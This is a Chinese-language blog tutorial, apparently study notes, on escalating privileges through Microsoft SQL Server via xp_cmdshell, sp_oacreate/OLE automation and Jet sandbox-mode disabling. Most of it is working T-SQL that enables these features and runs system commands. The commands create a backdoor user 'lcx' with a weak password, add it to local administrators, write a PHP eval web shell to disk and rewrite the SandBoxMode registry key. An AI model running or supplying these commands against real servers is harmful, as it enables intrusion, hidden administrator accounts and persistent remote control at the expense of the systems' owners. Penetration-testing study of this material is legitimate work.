数据库提权--MSSQL

前言

MSSQL是微软公司开发的数据库,又称为sql server数据库服务器。在基于微软开发的IIS中间件服务器开发的网站,通常使用的就是MSSQL数据库。

常见的MSSQL数据库的提权方式有 xp_cmdshell提权、sp_oacrate提权、沙盒提权及JOB提权等,本文学习的是三种提权方式利用原理、利用条件以利用方法。

一、xp_cmdshell提权

1、利用原理 

xp_cmdshell提权方式主要依赖于sql server自带的扩展存储过程。

存储过程是一个可编程的函数,它在数据库中创建并保存,是存储在服务器中的一组预编译过的T-SQL语句。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式(可以将存储过程理解为函数调用的过程),使用execute命令执行存储过程

xp_cmdshell是扩展存储过程中的一个开放接口,可以让MSSQL调用系统命令。

SA是MSSQL数据库的管理员账户,拥有最高权限,可以执行扩展存储过程,并获得返回值。

因此,在登录SA账户后,调用xp_cmdshell扩展存储过程,通过命令执行的方式获得操作系统权限。

2、利用条件

1、具有SA用户的密码

2、xp_cmdshell未被禁用

注: 

xp_cmdshell 默认在 mssql2000 中是开启的,在 mssql2005 之后的版本中则默认禁止。

如果用户拥有管理员 sa 权限则可以用 sp_configure 重新开启它。 

3、实操

3.1 连接数据库

检查是否具有xp_cmdshell接口

exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell';

#查看系统实例中是否有xp_cmdshell存储过程;

如果返回结果中的"run_value"为1,则表示xp_cmdshell已经启用

如果为0,则表示xp_cmdshell尚未启用。

 3.2 开启服务

如果没有开启,那么通过sp_configure开启

exec sp_configure 'show advanced options', 1;

reconfigure;

exec sp_configure 'xp_cmdshell',1;

reconfigure;         开启CMDshell ;关闭同理,将红色部分中的1改成0即可    

3.3 执行命令

3.3.1 查看当前权限 

exec master..xp_cmdshell "whoami";    可见当前权限,正常来说是system权限

3.3.2 添加用户

exec master..xp_cmdshell 'net user lcx 123456 /add';        添加系统用户

exec master..xp_cmdshell 'net localgroup administrators lcx /add';      新建用户组,把新用户提升到管理员权限

exec master..xp_cmdshell "echo ^<?php eval($_POST['cmd'])?^> > D:\cmd.php"  当然也可以尝试写木马

 

二、sp_oacreate提权

1、利用原理

如果xp_cmdshell扩展存储过程被删除或者无法使用,可以使用sp_oacreate和sp_oamethod调用系统wscript.shell来执行系统命令。sp_oacreate和sp_oamethod是OLE(Object Linking and Embedding)存储过程的方法,因此这种提权方式又称为OLE提权。

sp_oacreate是一个非常危险的存储过程,可以删除、复制、移动文件,还能配合sp_oamethod来写文件执行cmd。sp_oacreate是系统存储过程。

2、利用条件

1、具有SA用户的密码

2、sp_oacreate、sp_oamethod未被禁用 

3、实操

3.1 查看服务是否开启

exec sp_configure 'show advanced options',1;

reconfigure with override;

exec sp_configure 'ole automation procedures';      

如果返回结果中的"run_value"为1,则表示已经启用

如果为0,则表示尚未启用

3.2 开启服务

exec sp_configure 'show advanced options',1;

reconfigure with override;

exec sp_configure 'ole automation procedures',1;      

reconfigure with override; 

 (关闭把红色加粗的1改成0,并在最后加上

exec sp_configure 'show advanced options',0;reconfigure;)

 

 

3.3 执行命令

3.3.1添加用户

添加系统用户

declare @shell INT; exec sp_oacreate 'wscript.shell',@shell output

exec sp_oamethod @shell,'run',null,'net user lcx 123456 /add';

将新用户提升为管理员权限

declare @shell INT; exec sp_oacreate 'wscript.shell',@shell output

exec sp_oamethod @shell,'run',null,'net localgroup administrators lcx /add';

 

 

三、沙盒提权

1、利用原理

沙盒模式是数据库的一种安全功能。在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。

沙盒提权的原理就是​​jet.oledb​​​(修改注册表)执行系统命令。数据库通过查询方式调用​​mdb​​​文件,执行参数,绕过系统本身自己的执行命令,实现​​mdb​​文件执行命令 

2、利用条件

1.需要​​Microsoft.Jet.OLEDB.4.0​​一般在32位系统才可以,64位机需要12.0,较复杂

​​2.dnary.mdb​​​和​​ias.mdb​​​两个文件 在​​win2003​​上默认存在,也可自行准备

3、实操

因为提权方式的利用条件是32位Windows系统,因此本次实操没有实验最终结果截图。

 3.1 开启Ad Hoc Distributed Queries组件

exec sp_configure 'show advanced options',1;

reconfigure;

exec sp_configure 'Ad Hoc Distributed Queries',1;

reconfigure;

 

3. 2 关闭沙盒模式

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

沙盒模式SandBoxMode参数含义(默认是2)
0:在任何所有者中禁止启用安全模式
1:为仅在允许范围内
2:必须在access模式下
3:完全开启
3.3 查看沙盒模式

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode';

 

3.4 执行命令 

添加新用户

select * from openrowset('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user lcx 123456 /add")');

将新用户提升为管理员权限

select * from openrowset('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators lcx /add")');

3.5 还原环境

关闭Ad Hoc Distributed Queries组件

exec sp_configure 'show advanced options',1;

reconfigure;

exec sp_configure 'Ad Hoc Distributed Queries',0;

reconfigure;

 开启沙盒模式

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',2;

四、参考文献 

第三方提权之数据库提权 - anoldcat - 博客园 (cnblogs.com) 

数据库提权,Mssql xp_cmdshell提权_sqlserver xpcmdshell-CSDN博客 

第三方组件提权-SQL server提权_51CTO博客_mssql提权 

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

春天里面的龙

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值